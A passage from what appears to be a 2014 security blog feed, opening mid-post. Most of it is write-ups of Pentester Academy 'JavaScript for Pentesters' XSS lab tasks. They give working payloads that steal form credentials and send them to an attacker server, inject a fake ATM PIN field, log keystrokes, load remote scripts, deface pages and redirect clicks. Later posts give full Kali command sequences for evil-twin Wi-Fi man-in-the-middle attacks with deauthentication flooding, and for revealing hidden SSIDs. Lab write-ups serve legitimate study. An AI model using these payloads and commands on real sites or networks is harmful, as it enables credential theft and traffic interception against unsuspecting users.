            if (request.readyState == 4 && request.status == 200) {
                document.getElementById("result").innerHTML = request.responseText;
            }
        }
        request.open("GET", "/lab/webapp/jfp/14/email?name=john", true);
        request.send();
    </script>

Now how is this working ? First, we are creating a new XMLHttpObject() and use it as a GET request to the specified link. Then when the request has been done successfully and response is ready, we put the response inside the result element and there, we cracked the challenge.

Note:

1) If you didn’t understand the payload properly, I strongly recommend you read the basics of XMLHttpRequest() first and then try again.

2) While playing with XSS challenges, it is always recommended to use Mozilla Firefox because Google chrome has inbuilt XSS stopper which will stop us from executing arbitrary JavaScript code even if the page is vulnerable to XSS. So its strongly recommended to use Firefox instead of chrome.

3) You have to URL encode the payload before the injection via the url parameter or else this will fail to work

XSS - posting with XMLHttpRequest(): JS for Pentesters task 13

Fri, 31 Oct 2014 07:22:28 -0700

We have already completed the challenge in which we steal from Auto Complete. Now this is the same challenge but the condition is that we need to use XMLHttpRequest to complete the challenge. If you are not familiar with XMLHttpRequest, I strongly recommend you to read the post “Everything you should know about XMLHttpRequest()”. Reading about XMLHttpRequest() basics will help you understand more and how to crack this challenge.

JS for Pentesters task 13

Our objectives are Write JS attack code which waits for 10 seconds, then submits the form automatically to your Attack server using an XMLHttpRequest() call. Let us see how this can be done.

Basically what we need is to use setTimeout() function in JavaScript which will execute a function after a specified amount of time. So we can use it run the function we defined and within that, we can specify to post the credentials to the server we host. The payload looks like this:

    <script>
    var user = document.forms[0].elements[0].value;
    var pass = document.forms[0].elements[1].value;    
    window.setTimeout( function () {
    var request = new XMLHttpRequest();
    request.open("GET", "http://localhost:8000/?user="+user+"&pass="+pass, true);
    request.send()
    }, 5000);
    </script>

So lets see what are we doing here. First we are declaring 2 variables with which we takes in the username and password that the user enters. Then we use the window.setTimeout() function which will execute a function after 5000 milliseconds or 5 seconds. Inside the function, we are declaring a new XMLHttpRequest() object using which we are sending data to our server (I used to host an HTTP server locally).

Note:

1) While playing with XSS challenges, it is always recommended to use Mozilla Firefox because Google chrome has inbuilt XSS stopper which will stop us from executing arbitrary JavaScript code even if the page is vulnerable to XSS. So its strongly recommended to use Firefox instead of chrome.

XSS - Stealing from Auto complete: JS for Pentesters task 12 write up

Thu, 30 Oct 2014 23:02:07 -0700

Stealing from AutoComplete ? Well, that was the same reaction which comes to my mind when I went through this challenge. Usually people have a habit of saving their Username:Password combinations to the browser so that they don’t want to type and repeat the same thing again when they login next time. But if the web application that the user tries to login is vulnerable to XSS, then this action will be dangerous !

JS for Pentesters task 12

Once you get into the challenge page, try entering a random username:password combination and click sign in. When the browser ask if you wanna save the password or not, click on remember password. So what happens is that next time if we visit the page, the username:password fields will be automatically filled by the browser for us. Let us see how can we steal this information:

So here what we basically want to do is to submit this form automatically without user intervention to an attacker server. We also needs to modify the form submit action so that it can point to our server instead of the original server. So the payload looks like this:

    <script>
    window.setTimeout(function () {
    document.forms[0].action = "http://pentesteracademylab.appspot.com/lab/webapp/1";
    document.forms[0].submit();
    }, 10000);
    </script>

Here what we are doing is that we are using the setTimeout() function in JavaScript which helps us in executing a function after a specified interval of time. So inside that function, we will use a user defined function in which we modify the document submit action to our own server and then we will call .submit() function which will automatically submit the form.

We cannot use an eventHandler (which seems can also be used) because while using .submit(), we are submitting form automatically and not by user clicking on the same. so eventHandler won’t be provoked while doing it.

Note:

2) The solutions written above is the way we cracked the problem which might be different from the solution videos provided by the SecurityTube. If you need the solution video, you have to subscribe to PentesterAcademy.

XSS - Replacing images: JS for Pentesters task 11 write up

Thu, 30 Oct 2014 07:03:55 -0700

This is one of the interesting challenges from Pentester Academy but a very easy one. This is like a typical noobs where once they got access to a server, first thing to do is to deface the server. We are actually not doing a deface but something similar. Let us see the challenge:

JS for Pentesters task 11

Our objective of this challenge is to Replace the Pentester Academy Banner image with a Defacement Image. Now let us see how can we crack this challenge. After analyzing the source code, we can understand one thing that there is only one <img> tag in the whole source code.

This makes our work much easier. Since there is only 1 <img> tag, all we have to do is to select the <img> tag and change its src attribute. The payload will look like this:

    <script>
    var script = document.getElementsByTagName('img')[0];
    script.src = "http://3.bp.blogspot.com/-l8tr4nV1df8/UgYGrFdkhNI/AAAAAAAAAJ8/KRnaurbiZ68/s1600/hacked.jpg";
    </script>

So what we did was to create a new variable named script and we assigned it with the first <img> tag using document.getElementByTagName(). Then we changed its <img src "" > attribute to a new URL which will get substituted in the place of original Pentester academy logo.

Note:

XSS - Include external js using js: JS for Pentesters task 10 write up

Wed, 29 Oct 2014 08:06:51 -0700

In the last write up, we saw how we can include an external JavaScript file and execute it via XSS. This is a very similar challenge but a bit different:

JS for Pentesters task 10

Our objective is to Include the JS file available at http://demofilespa.s3.amazonaws.com/jfptest.js into that page. This time things are a bit different. Usually we include the JavaScript contents inside a <script> tag but here in the challenge, what ever we type in, it will goes inside a <script> tag so this time, executing a script is a bit difficult. A very simple way to complete this challenge is to add a closing </script> tag and then reopen a new script tag which contains our file:

   </script><script src="http://demofilespa.s3.amazonaws.com/jfptest.js"></script>

But while explaining about the challenge, vivek has specifically mentioned that we shouldn’t use this method and should accomplish this task in some other way. So let us see how can we do this in another way. Basically what we need to do is to create a new script element which points to the external JavaScript file and we should add the newly created script element to the head of the HTML document so that it will execute successfully. So the payload looks like this:

    var script = document.createElement("script");
    script.type = "text/javascript";
    script.src = "http://demofilespa.s3.amazonaws.com/jfptest.js";
    document.getElementsByTagName("head")[0].appendChild(script);

Like we said above, what we did is that first we created a new script element. Then added some attributes to the newly created elements and pointed the src to http://demofilespa.s3.amazonaws.com/jfptest.js , where out JavaScript file is located. Then we used the appendChild() function in JavaScript to append this script at the end of the** </head>** tag. After a successful run, you can see the cookie in an alert box.

Note:

XSS - including external js file: JS for Pentesters task 9 write up

Wed, 29 Oct 2014 04:03:52 -0700

This challenge is a bit different from the ones that we did till now. Consider a case where you found out an XSS vulnerability but you can enter only limited number of characters through the XSS parameter but you need to do a lot more than that. What will you do ? A possible way is to add the script inside a file and try to inject that file via the xss. Let us see this with an example:

JS for Pentesters task 9

Our objective is to Include an external JS file into this page and Code inside that JS should pop the cookie inside an alert box.

So the first task is to write a .js file and host it somewhere so that it can alert the cookie. The code for the same is:

    alert(document.cookie);

Please note that when you are writing JavaScript inside a file, it shouldn’t be enclosed inside a <script> tag. So consider we created a file cookie.js which contains the code to alert the cookie. Now we should host the script somewhere so that it can be accessed via public URL. So I uploaded the script to my blog and tried to inject it to the challenge. The payload looks like this:

    <script src="http://security.securethelock.com/wp-content/uploads/2014/11/cookie.js"></script>

So as you can see, this challenge is fairly easy but it has I hope you learned a good lesson. What we did is very simple. First upload the JavaScript file to a site and get its absolute location. Then you can inject the file via XSS by using src attribute, inside a <script> tag.

Note:

XSS - Event listener: JS for Pentesters task 8

Mon, 27 Oct 2014 09:25:17 -0700

We have already seen may challenges write up before that use event listeners like Capturing all mouse clicks and redirecting, etcc… before and this is a challenge which is much easier than any of the event listener challenge we have done before. Let us see what the task is:

JS for Pentesters Task 8

Our Objective is to Pop the password in an alert box when the user submits the form. But here there is difference from the other challenges that we have to find out an XSS vulnerability ourselves and there is nothing like a URL parameter which is vulnerable to attack like had in the other challenges. So we have to find out where the vulnerability is first. So the first spot to try is the username column. Lets try injecting an onmouseover event listener on the username/email parameter:

    admin"onmouseover="alert(1);

Give a random password and press sign in. Then if you put the mouse over the email field, you can see an alert and hurraaayyy, we got the XSS. Now our objective is to modify the same payload so that it will pop up the password field when user clicks on signin. Now here is a modified payload that popup the password:

    "onmouseover="
    function intercept () {
    var pass = document.forms[0].elements[1].value;
    alert(pass);
    }
    document.forms[0].onsubmit = intercept;

Let us see what we did above. Basically we modified the simple XSS script we wrote above (to find XSS) and instead of an alert box, we added one more event listener which executes a function on submitting the form. The function will then access the user inputted value and pops it up in an alert box.

Note:

XSS - KeyLogger with JavaScript: JS for Pentesters task 7 write up

Mon, 27 Oct 2014 02:51:23 -0700

In the last write up we saw how we Capture all Mouse Clicks and Redirect user to a new webpage. This time what we should do is to capture all the keys that user clicks and we need to send it to the attacker machine.

JS for Pentesters task 7

Our objective is to Create a KeyLogger which posts Keystrokes live to an attacker server. So unlike the last write on Mouse Click capture, here, we need to capture the keys that user press and we should also post the same thing to an attacker server so that he can see it live what the user is typing. So the payload looks like this:

    <script>
    function keyPressed(){
    alert("key pressed");
    }
    window.captureEvents (Event.KEYPRESS); 
    window.onkeypress=keyPressed; 
    </script>

So what does this basically do ? window.captureEvents(Event.KEYPRESS) will actually log any keypress that is basically happening in the webpage and it can also trigger a function while each key is pressed. So here each time when a key is pressed, the function keyPressed() is getting executed and it is showing an alert(“keyPressed”). Instead of this alert message, you can modify the command to post it live to a server that you host in you localhost or somewhere else.

Note:

1) While cracking this challenge, I was on Windows and its difficult to host an HTTP server in Windows than on Linux (atleast for me as I don;t like to use Windows much other than for gaming). This is the reason why instead of posting this key log live to our server, we just used an alert() message to confirm that the function is executing. You can modify the script to your needs.

3) You have to URL encode the payload before the injection via the url parameter or else this will fail to work.

XSS - Capture all Mouse Clicks and Redirect: JS for Pentesters task 6 write up

Sat, 25 Oct 2014 07:30:57 -0700

Till now, we have covered several challenge write up from Pentester Academy but this is the first time we are going to make use of an event handler to get our task done. So basically what is an event Handler ? Let us say we have a situation in which we need to execute a function when the user clicks on a button in the webpage or hover over on something. In order to accomplish this, we can use JavaScript event Handlers.

JS for Pentesters task 6

Our objective is to Capture all Mouse Clicks and Redirect to http://PentesterAcademy.com. Let us see how can we approach to solve the problem. Basically what we need to do is simple. We need to see if user does any click on the webpage and if he does, we will redirect the page to Pentester Academy. Let us see how the payload looks:

    <script>
    function windowEvent(){
    window.location.replace("http://pentesteracademy.com");
    }
    window.captureEvents(Event.CLICK);
    window.onclick=windowEvent;
    </script>

Here, what we do is, we use the window.captureEvents(Event.CLICK) to see if the user made any clicks on the particular window. Then what we do is that on the event of a click, we will call a function to execute (User defined function) called windowEvent. Inside the windowEvent function, we will use the window.location.replace() which will redirect the user to the webpage we specify. In short, when user clicks anywhere on the page, the function is triggered and the user is redirected to a new site.

Note:

2) You have to URL encode the payload before the injection via the url parameter or else this will fail to work

XSS - Social Engineering: JS for Pentesters task 5 write up

Fri, 24 Oct 2014 22:59:25 -0700

We have already seen some good challenges from Pentester Academy like Hijacking Form submit and adding a new form element etc… This challenge is a bit more exciting one than the ones we solved till now. Let us try a Social Engineering technique with XSS.

JS for Pentesters task 5

Our objective of this challenge is to Remove the Form and add a notification “Website is Down! Please visit SecurityTube.net”. Now let us see how can we solve this:

As always, you can see that there is an XSS vulnerability via the URL parameter. The first thing we should do is to remove the form. For that, we can select the Form we need to remove first and then add a notification at the same place saying that the particular website is down with a link to the attacker server. The payload looks like this:

    <script>
    var remove = document.getElementsByTagName("form")[0];
    rem.parentNode.removeChild(remove);
    document.write('Website is Down! Please visit '+'SecurityTube.net'.link('http://www.securitytube.net'));
    </script>

Let us analyse how the payload works. At first, we are getting the form element that we need to a variable named remove. Then we are simply removing the form using the removeChild() function in JavaScript which is usually used to remove elements. We also need to print a form saying that the site is down and tempting the user to visit a URL, which can be done using the document.write() function in JavaScript which is used to print something to a webpage.

Inside the document.write(), I split the string into 2 parts, with a ‘+’ operator in between. The reason why I did was that the 2nd part should be printed as a link so that users can click on it. In order to print the string which points to a URL (like an href tag in html) we used the function .link() in JavaScript, which accepts a url as an argument and converts the string into a clickable URL while printing it into the webpage.

Note:

XSS - Modifying Form fields: JS for Pentesters task 4 write up

Fri, 24 Oct 2014 04:30:24 -0700

In the last article we saw how we can Hijack a form submit with XSS. But form hijacking could have been much more interesting if it has more interesting information’s like ATM pin. In this challenge what we do is to add a new column to the form named “ATM pin” so that before submitting the form, user will enter more information like ATM Pin. That’s awesome isn’t it ? So the objective of this challenge is that:

JS for Pentesters Task 4

1) Add a new form field called “ATM PIN”

2) Post the credentials to the Attacker server along with the ATM pin.

As always, we have the XSS vulnerability in the page via the URL parameter. You can confirm it by simple alert box injection in FireFox. Now, our task is to add a new input element called ATM Pin. So first, let us see the source code:

From the source code, we can see that there are only 1 form element which contains 2 input boxes namely email and password. So first lets create an input with exactly the same attributes as an email or password input form (place holder and name should be modified). Then we have to add it just above the username field so that it shows up correctly and user should think that the newly added box is legitimate. So the overall payload we used is:

    <script>
    newField = document.createElement("input");
    newField.setAttribute("type", "text");
    newField.setAttribute("value", "");
    newField.setAttribute("class", "input-block-level");
    newField.setAttribute("placeholder", "ATM Pin");
    newField.setAttribute("name", "ATM pin");    
    var prev = document.forms[0].elements[0];
    document.forms[0].insertBefore(newField, prev);
    function intercept() {
    var user = document.forms[0].elements[1].value;
    var pass = document.forms[0].elements[2].value;
    window.location.replace("http://pentesteracademylab.appspot.com/lab/webapp/1?email=" + user + "&password=" + pass);
    return false;
    }
    document.forms[0].onsubmit = intercept;
    </script>

Let us analyse how this works. First we create a new element called newField and added all the necessary attributes to it like ‘value’, ‘class name’ and even ‘place holder’ so that it looks real professional. Then we selected the first element of the input form. The reason why we are doing this is that , we need to add the newly created one above the username element which is basically the first element of the input form. So we select the username field and assigned it to a variable named prev. Now our task is to add the new element just before prev. To do that, we used a JavaScript function called insertBefore.

Then as we saw in the Hijack a form submit with XSS task, we are going to redirect this information to our server. What I did was to redirect the url to Pentester Academy WAP challenge 1 which is basically a Form brute force. As you can see in the write up about the form brute force, the user:pass combination for that challenge is admin@PentesterAcademy.com:zzzxy. If you enter the same credentials in this challenge after entering the payload, you can see a Window saying challenge completed.

Note:

1) You can easily modify the window.location.replace to your localhost where you run a simple HTTP server or you can redirect this to anywhere you want.

2) You have to URL encode the payload before the injection via the url parameter or else this will fail to work.

3) It is always recommended to try out the challenge in Mozilla FireFox and not in Google chrome because chrome has an inbuilt XSS Auditor which will stop the payload from executing.

4) The solutions written above is the way we cracked the problem which might be different from the solution videos provided by the SecurityTube. If you need the solution video, you have to subscribe to PentesterAcademy.

XSS - Hijacking a form submit: JS for Pentesters task 3 write up

Thu, 23 Oct 2014 00:23:22 -0700

Lately, we have solved JS for Pentesters task 1 and task 2. Now this is task 3 which is a bit more challenging task that we did before. Let us see what the challenge is:

JS For Pentesters Task 3

There is a simple login form which accepts a username and a password. Our objective is to Post the Username and Password to Attacker Controlled Server. It is also given that the form is vulnerable to XSS attacks via the URL parameter. As always, lets start Pentesting the form with first trying out an alert box to confirm that it is vulnerable to reflected XSS attacks. So lets us try to inject an alert box in to url parameter.

    <script>alert("XSS")</script>

So after injecting, the URL looks something like this:

http://pentesteracademylab.appspot.com/lab/webapp/jfp/3?url=<script>alert("XSS")</script>

If you execute that URL, you can see an alert box which means we are on the right track. The next thing is see how can we post this to attacker server when the user clicks on Signin. The best way to do that is to use an onsubmit event handler in JavaScript. Theoretically what we should do is that after entering the username and the password, the user will click signin and at that time, our event handler should execute and post the content to a server that we control so that we can see the username/password combination in plain text.

In this task either you can run your own HTTP server which can capture the username/pass or you can redirect the user to another site and try to login with the same credentials that user enters (that can be fun I guess :) ). So the first thing to do is to add an event handler to the onsubmit button. When you take a peek at the source code of the challenge, you can see that there is only 1 form present in the source (which makes our tasks much easier)

So first what we will do is to select the form and add an onsubmit event handler and make it execute a function which copy the credentials entered by the user and will post it to the attacker server (or any link we want). So the payload looks like this:

    <script>
    function intercept() {
    var user = document.forms[0].elements[0].value;
    var pass = document.forms[0].elements[1].value;
    window.location.replace("http://pentesteracademylab.appspot.com/lab/webapp/1?email=" + user + "&password=" + pass);
    return false;
    }
    document.forms[0].onsubmit = intercept;
    </script>

Lets see how it works. It will select the form we need with document.forms[0] and will add an onsubmit event to it which will trigger a function called intercept when submit action takes place. Inside the intercept function, we are saving the username:password that user entered to 2 new variables namely user:pass by accessing form elements. Then I used the window.location.replace which works like an HTTP redirect will actually redirect the user to a new page with the credentials entered by the user.

In above payload, I am redirecting user to Pentester Academy WAP challenge 1: Form Bruteforce link and will submit the username:password to it. As you can see from my write about the same WAP Challenge, you can know that the username:password combination for WAP challenge 1 is admin@pentesteracademy.com:zzzxy. After injecting the above payload into the task 3 via URL parameter, if you enter the credentials as admin@pentesteracademy.com:zzzxy, it will redirect you to WAP challenge 1 success web page and shows that challenge has been successfully completed.

Note:

1) I did the above redirection just for a fun part. You can modify the payload so that the user entered credentials could be saved to your server.

2) You have to URL encode the payload before the injection via the url parameter or else this will fail to work (I spend a huge time figuring out why the payload is not working, the reason was I was not encoding before injecting it)

3) It is always recommended to try out the challenge in Mozilla FireFox and not in Google chrome because chrome has an inbuilt XSS Auditor which will stop the payload from executing.

Changing all links: JavaScript for Pentesters task 2 write up

Tue, 21 Oct 2014 07:29:04 -0700

Pentester Academy has a wonderful list of JavaScript challenges which will help us learn XSS by cracking through different sets of questions with varying difficulty. We have already covered the first challenge namely Modifying HTML with JavaScript – JavaScript for Pentesters task 1. Now let us see how can we crack the 2nd challenge. The question is as follows:

** JavaScript for Pentesters task 2**

There are a number of links given in the page (4 links to be precise). The objective is to change all the Links on that page to “http://PentesterAcademy.com/topics”. As always, like a Pentester, we should be systematic in trying to attack a target. So first lets us figure out if it is vulnerable to XSS. As always, lets try injecting an alert payload:

    
    <script>alert("XSS")</script>

As you can see, it will give you a pop up and yea, we have confirmed that the page is vulnerable to XSS. The next thing is to check out the page source code from which we can identify all the link attributes which we should modify. We can see that there are 4 links in total and we need to modify all of them so that it points to “http://pentesteracademy.com/topics”.

As shown in the source code, we have 4 links to modify. To modify an <a> tag we can use getElementByTagName("a") and then modify the corresponding href tags to the link that we want. The above command will return a list of all <a> tags present in the documents. Then we can use link.href = "URL". Since we have more than 1 link to be changed, we have to use a for loop so that all the links can be modified at once. The entire payload looks like this:

    <script>
    var links = document.getElementsByTagName("a");
    for(i=0;i<links.length;i++)
    {
    links[i].innerHTML = "Pentester Academy link " + [i];     
    links[i].href = "http://PentesterAcademy.com/topics";
    }
    </script>

You can copy the entire payload above and try to inject it. This will modify 2 things:

1) It will modify all the URL’s and will point it to “http://pentesteracademy.com/topics”

2) it will change the innerHTML of href tag and modify it to strings like Pentester Academy link 0 , Pentester Academy link 1 etc..

Note:

We hope that you really liked this challenge. If there is anything you didn’t understand, wanted to get more clarity or if there is a better way to complete this challenge, please comment down and we are more than happy to help. Happy Pentesting..

Modifying HTML with JavaScript - JavaScript for Pentesters task 1 write up

Mon, 20 Oct 2014 08:47:06 -0700

The objectives of the challenge was:

1) Modify the text “Modify me” to “Modified you” 2) Modify the text “Find me” to “Found you”

The very first thing a pentester should follow is to be systematic while doing a pentesting. Don’t quickly jump of with several payloads before carefully analyzing the conditions. In the challenge, the first thing is to check if it is vulnerable to XSS. So lets try a basic payload to test it:

<script>alert("XSS")</script>

When you click submit, you can see an alert box which displays the string “XSS” which means we can execute arbitrary JavaScript code on the page. The next thing is to complete the first task, i.e, Modify the text “Modify me” to “Modified you” . So let us see the source code to analyse what kind of text it is or if the text has an associated html id (then things would have been much easier). When you see the source code, you will come across this part:

As you can see, the text “Modify me” is inside an h2 tag. Also you can see that there are 2 blind (without any contents) h2 tags above, which means our h2 tag is in the 3rd position. Now our aim is to modify the HTML inside the 3rd h2 tag. The best way to change the innerHTML of any tags is to use the getElementsByTagName followed by change in the innerHTML:

<script>
document.getElementsByTagName("h2")[2].innerHTML = "Modified you";    
</script>

The getElementsByTagName returns a list of all the objects under a particular tag name. getElementsByTagName("h2") will return a list of all the different elements inside a particular webpage. In this challenge case, we need to modify the 3rd h2 tag which means the 2nd element of the array. So we modified the payload a bit to select the 2nd element: getElementsByTagName("h2")[2]. Now this will select the 3rd h2 tag in order to modify the HTML inside the tag, we use innerHTML.

The 2nd task is to Modify the text “Find me” to “Found you”. If you check the source code again, you can see that there is only one h1 tag in the entire document, which makes our work much easier. In order to modify it, we will add one more line to the above code and the payload will be like this:

<script>
document.getElementsByTagName("h2")[2].innerHTML = "Modified you";
document.getElementsByTagName("h1")[0].innerHTML = "Found you";
</script>

Since there is only one h1 tag, we use [0] to select the first one. Using this payload, you can successfully complete the challenge.

Note:

We hope that you really liked this challenge. If there is anything you didn’t understand or wanted to get more clarity, please comment down and we are more than happy to help. Happy pentesting..

Enforce SSL with JavaScript: Forcing browser to use "https:"

Sun, 19 Oct 2014 23:56:06 -0700

Usually people don’t care about the protocol they use to visit a website. Some websites like Facebook or Google+ will redirect you automatically to SSL/TLS encryption (https://) rather than using HTTP. The reason is because the SSL encryption will provide added security to your website and it will help us in blocking people from spying us especially when we are on a public WiFi. For example, if we are using HTTP over a public network, other people can easily spy you with sniffer tools like WireShark. But if we are using an HTTPS protocol, even though people can still sniff with WireShark, there will be nothing useful in the packets as all the packets will be encrypted and protected with SSL/TLS encryption. So, to an extend you are safe.

So consider you have a website and you need to force redirect all “http:” traffic to “https:”. How can you do that ? The easiest way is to add the following code to your HTML head section of the root document (may be index.html ? )

   
    if (window.location.protocol != "https:")
    {
        window.location.href = "https:" + window.location.href.substring(window.location.protocol.length);
    }

The above code will force/redirect your browser to use “https:” if it is not already using. So lets see what this code does. First, it will check for the current protocol to see whether its using “https:” or not. Window.location.protocol will return the current protocol that we use. So we will check if it is equal to “https:”. If not, we will redirect the browser to the same URL with the protocol being changed to “https:”.

Note:

In the above code, we didn’t use document.location and used window.location because window.location is more cross browser compatible. Even though now, all the browsers support document.location, people using old browsers will get compatibility issues. Since window.location works on all browsers, just to be on safe side, we used it.

Source: Stackoverflow

Metadata mining: Dont let them follow your breadcrumbs !

Wed, 01 Oct 2014 03:18:09 -0700

Metadata means the data about the data. That sounds too weird ? Ooh well, it can be simply considered as a very small file which stores information about a big file. Oops, now that’s strange.. A file info saved in another file (now that goes into an infinite loop doesn’t it ) ? For the purpose of understanding, metadata is the section of the file that describes what the file is, providing additional information that is generally not directly visible to the user. Usually when a file is created several informations like “last modified”, “Author who modified” etc… are saved within the file as metadata. For example an image file usually contains meta information like “Width”, “Height”, “Resolution”, “Compression” etc. So what is the risk of being adding a little more info about the file ? Let us analyse it.

The Metadata inside an image file may not be much useful to the attackers (There were situations when an Anonymous hacker named w0rmer from the team CabinCr3w got caught by the police when they got his GPS coordinates from the image he uploaded) but metadata has more meaning than simply file properties. Consider a developer designing a website for a client and chances are high that he will add meaningful comments into the code so that the client can understand it better. But are the comments useful only for the client ? Lets us take a piece of code and analyse this (code sample taken from OWASP):

 
    
   <div class="table2">
     <div class="col1">1</div><div class="col2">Mary</div>
     <div class="col1">2</div><div class="col2">Peter</div>
     <div class="col1">3</div><div class="col2">Joe</div>
   
   <!-- Query: SELECT id, name FROM app.users WHERE active='1' -->
  
   </div>

Did you see any issues in the above code ? You can see a comment which exposes how the data is taken from the database. An attacker can easily understand the code and can try an SQLinjection to get un-Authorized access to the database.

So what is the best possible way to avoid attackers from mining your metadata ? The answer is simple as you might have thought. Just don’t comment or put any information on the code that you write or make sure you remove the comments and other useless things from the source code before you deploy it. But if you had already deployed hundreds of pages, going through all of them manually and removing the comments is not possible. Absolute HTML compressor comes to the rescue here. This small tool can automate the process of removing the comments from your source code.

Configuring dhcp3 for man in the middle attacks !

Sun, 28 Sep 2014 01:57:08 -0700

Recently we have seen the Evil twins_ method to do a man in the middle attack. But **Evil twins **_attack is only complete if we can configure the dhcp services on our machine. Now why is that so ? Well, consider you saw a Wi-Fi named “Public Wi-Fi”. Once you try to establish a connection with it, it will be only completed if it can assign an ip address to your PC.

Similarly, once you create an Evil twin, you also have to configure the dhcp services on your machine so that once the victim connects to it, he will be automatically assigned an ip address and gateway. If you have a wired internet connection (eth0) , then you can use dhcp services to route the victim’s original packets to internet. Then the victim will never come to know that we have played a man in the middle attack. Configuring dhcp3 for man in the middle attacks :

1) First, Install dhcp3. For that use the command :

sudo apt-get install dhcp-server

This will install dhcp server to your machine. Now we have to configure the dhcp3.

2) Open the configuration file:

sudo vim /etc/dhcp3/dhcpd.conf

This will open the configuration file in vim (you can use any text editor you want). Make sure you keep a backup of the configuration file before making the changes (in case if you want to reset it ). Now add the following piece of information to it.

ddns-update-style ad-hoc;

default-lease-time 600;

max-lease-time 7200;

subnet 192.168.2.0 netmask 255.255.255.0 {

option subnet-mask 255.255.255.0;

option broadcast-address 192.168.2.255;

option routers 192.168.2.1;

option domain-name-servers 8.8.8.8;

range 192.168.2.100 192.168.2.175; }

3) Then save the file and there, the configuration file is ready to use. Now we have to route the configuration so that victims connected will automatically get assigned by an ip address. Before that, you can create the Evil twin. You can read about the Evil Twins here.

4) After creating an Evil twin, we have a new interface called at0. Now we have to assign our ip to at0. For that use the command :

ifconfig at0 192.168.2.1/24

route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1

The above command will make sure the routing will be successful. Now we have to start the dhcp3 services :

sudo dhcp3d -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0

sudo /etc/init.d/dhcp3-server start

The above commands will start the dhcp3 services on_** at0.**_

5) Now we have route the Incoming traffic from the victim at at0 _to ethernet connection _eth0. To do that, we have to use the Network Address Translation (NAT). Use the following commands one by one : iptables --flush

iptables --table nat --flush

iptables --delete-chain

iptables --table nat --delete-chain

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE

iptables --append FORWARD --in-interface at0 -j ACCEPT

echo 1 > /proc/sys/net/ipv4/ip_forward

That’s it. We have successfully routed the at0 traffic to eth0.

The next question is how can we know that some one is doing a man in the middle attack while we are browsing on public Wi-Fi ?? The best way is to take a traceroute. Traceroute will show through what all networks and places, your packets are going before reaching the destination. That’s how you can understand whether some one is doing a man in the middle attack.

NOTE:

While configuring the DHCP3 my eth0 address was 192.168.1.1. Thats why I configured at0 with 192.168.2.1.
If your IP range is different, do make changes accordingly.

Man in the Middle attack using Evil twins in Kali-Linux !

Sun, 28 Sep 2014 00:00:00 -0700

Man in the middle attacks (MITM) are one of the easiest ways in which an attacker can steal user credentials from the victim. What basically attacker does is that, he will establish a connection with the victim somehow and will route the victim’s traffic through him. Now the attacker can analyse the packets send by the victim to steal his credentials and other valuable things. One of the most common ways to do it is to use ettercap or _Evil twin’s attack in Kali-Linux. We will see how can we use Evil twin attack here.

In practical cases, when your PC scans for available Wi-Fi networks, if there are 2 networks with same SSID’s (or same name) , then the PC will display only 1 which has stronger signal to your Wi-Fi card. This means that, if we are nearer to the victim than the router, then we can create a Wi-Fi hotspot with the same name and the victim’s PC will automatically connect to us. Then we can use the DHCP3 to route the traffic to Internet from our PC. So the victim will never come to know that we are playing in between him and the internet. Creating the Evil twin of the real SSID will do the trick, hence the name evil twin attack. Lets see how we can do man in the middle attack using evil twins :

1) Create an airmon-ng monitoring interface. Use this command to do that:

sudo airmon-ng start wlan0

This will start a monitoring mode normally mon0 or mon1. Now we need to dump the results of the monitoring to our terminal.

2) To dump the results, we use airodump-ng:

sudo airodump-ng mon0

This will show lots of info’s on your terminal like available Wi-Fi networks, channels, users, Mac-address etc. Now from the list , for example, if there is a hotspot named “Public Wi-Fi”, we need to create its evil twin.

3) To do that, we use airbase-ng:

sudo airbase-ng --essid "Public Wi-Fi" -c 1 mon0

Now this will start a new hotspot with the name “Public Wi-Fi” the evil twin of the real one. Now what we do is, send Deauth attack to the real Wi-Fi network so that all users connected to it will get disconnected and join to our evil twin.

4) To do a deauth attack, we use :

sudo aireplay-ng -0 0 -a XX:XX:XX:XX:XX:XX mon0

Now this will keep on giving deauth attack to the router until we press ctrl+c. XX:XX:XX:XX:XX:XX is the mac-address of the router. So if we keep up the deauth attack , say for 20 secs, that’s enough for users to get disconnected and reconnect to our evil twin network. Thats it. We got the victim connected to our PC.

Now you can configure DHCP3 to route the packets to the Internet or you can use Social Engineering Toolkit in Kali-Linux to steal passwords. You can also use Wireshark to do the same. Sometimes, for security reasons the SSID’s will be hidden or the network will be filtered using Mac-address. If so you can read the posts on how to bypass Mac-address filters and how can you find out Hidden SSID’s using Kali-Linux.

[How to] Find out Hidden SSIDs using Backtrack/Kali Linux

Sun, 28 Sep 2014 00:00:00 -0700

In the last article, we saw how can we enable ssh in Backtrack/Kali Linux so that we can control it remotely without physically present before the system. Also we have covered the basic networking techniques in Backtrack/Kali. Now let us move to different kinds of attacks, how it works and how can we stop it.

In this article, we will teach you how to discover SSIDs that is hidden from normal views. SSIDs (Service Set identifier) is nothing but the network name that we give during the configuration of the router or Access point. For security reasons sometimes people may hide it while configuring Access points to avoid normal people from accessing it. So let us see how can we find out such a hidden network. To find this out, we will use 3 inbuilt tools from Backtrack/Kali namely airmon-ng, airodump-ng, aireplay-ng.

First, we have to monitor the wireless card. For that we use airmon-ng. Open up a new terminal and give this command:

sudo airmon-ng

This should list all the interfaces(both wired and wireless) like on the screen shot. Now lets start monitoring by giving the command :

sudo airmon-ng start wlan0

This will begin a monitoring service normally called mon0 (check out the screen shot). Now we have to dump the information collected by this monitoring. In order to do this, we will use** airodump-ng**. Give the command :

sudo airodump-ng mon0

This will show all the SSID’s available in the network. Here, in the screen shot, I have not included any hidden SSID’s as I haven’t created any. If there are any hidden SSID’s, it will show names similar to this:

But here, let us consider ACCS-Student shown on the screen shot is hidden. You can understand from the screen shot that all of the wifi that I have used is working on channel 11. Normally it won’t be like this but here, in this special case all wifi’s are on same channel. So now lets us give the next command :

airodump-ng -c 11 mon0

This command will dump info about the SSID’s working on that specific channel. Now you can do 2 things:

You can wait till a user who knows about this hidden SSID to connect himself to that network while we are monitoring and the same will produce the SSID name on your screen. So what if, you don’t want to wait ?? You can do a Deauth attack on the SSID. That will disconnect all the users who are using the network. That will force them to rejoin while we are monitoring and we will easily get the SSID. Deauth attack command is :

aireplay-ng -0 3 -a mac-address-of-hidden-SSID mon0

This will sent a Deauth notification exactly 3 times to the SSID which will result in disconnection of all users currently using it. That will make them rejoin soon and that will get our SSID. Once you get the SSID you can tell the BackTrack/Kali Linux to associate with it by giving the command (Consider the hidden SSID we found out was ACCS-Student :

iwconfig wlan0 essid ACCS-Student channel 11

NOTE:

